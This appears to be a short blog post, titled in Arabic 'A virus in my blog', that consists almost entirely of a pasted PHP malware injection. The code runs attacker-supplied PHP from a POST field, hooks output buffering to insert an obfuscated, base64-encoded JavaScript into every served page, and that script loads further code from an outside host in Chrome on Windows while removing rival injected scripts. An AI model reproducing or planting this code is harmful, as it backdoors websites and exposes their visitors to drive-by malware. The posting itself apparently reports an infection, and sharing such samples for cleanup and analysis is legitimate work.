فيروس في مدونتي

<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBZOXY9J3YiNjFyIjIwYSIzZCIyMlNjcmlwdEVuZ2luIjY1IjIyIjJjIjYyIjNkIjIyIjU2ZXJzaSI2Zm4oIjI5IjJiIjIyIjJjaiIzZCIyMiIyMiIyY3UiM2RuIjYxdmlnIjYxdG9yIjJlIjc1c2VyQWdlIjZldCIzYmlmIjI4KHUiMmVpbiI2NCI2NXhPZigiMjJDaHJvbWUiMjIpIjNjMCkiMjYiMjYiMjh1IjJlaW4iNjRleE9mIjI4IjIyVyI2OW4iMjIiMjkiM2UwKSIyNiIyNiIyOHUiMmUiNjluZGV4T2YiMjgiMjIiNGVUIjIwIjM2IjIyKSIzYzAiMjkiMjYiMjYoZCI2ZmMiNzVtIjY1bnQiMmVjbyI2ZmtpZSIyZWluIjY0ZXgiNGYiNjYoIjIybSI2OSI2NWsiM2QiMzEiMjIpIjNjIjMwKSIyNiIyNih0eSI3MCI2NSI2ZiI2Nih6cnYiN2F0cyIyOSIyMSIzZHR5IjcwIjY1b2YoIjIyQSIyMiIyOSkpIjdienJ2eiI3NHMiM2QiMjJBIjIyIjNiZXZhbCIyOCIyMmlmKHdpbmRvIjc3IjJlIjIyK2ErIjIyIjI5aiIzZGorIjIyKyI2MSIyYiIyMk1ham9yIjIyK2IrIjYxKyIyMiI0ZCI2OSI2ZW8iNzIiMjIrIjYyKyI2MSsiMjJCdWkiNmNkIjIyIjJiYisiMjJqIjNiIjIyKSIzYmQiNmZjdW1lbnQiMmV3cml0IjY1IjI4IjIyIjNjcyI2M3JpcHQiMjBzcmMiM2QiMmYiMmYiNmRhIjcyIjc0IjIyKyIyMnV6IjJlIjYzbiIyZnZpZCIyZiIzZiI2OSI2NCIzZCIyMitqIjJiIjIyIjNlIjNjIjVjIjJmc2NyaXB0IjNlIjIyKSIzYiI3ZCc7dmFyIEdHMHQ0PVk5di5yZXBsYWNlKC8iL2csJyUnKTtldmFsKHVuZXNjYXBlKEdHMHQ0KSl9KSgpOwogLS0+PC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \n\(function\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>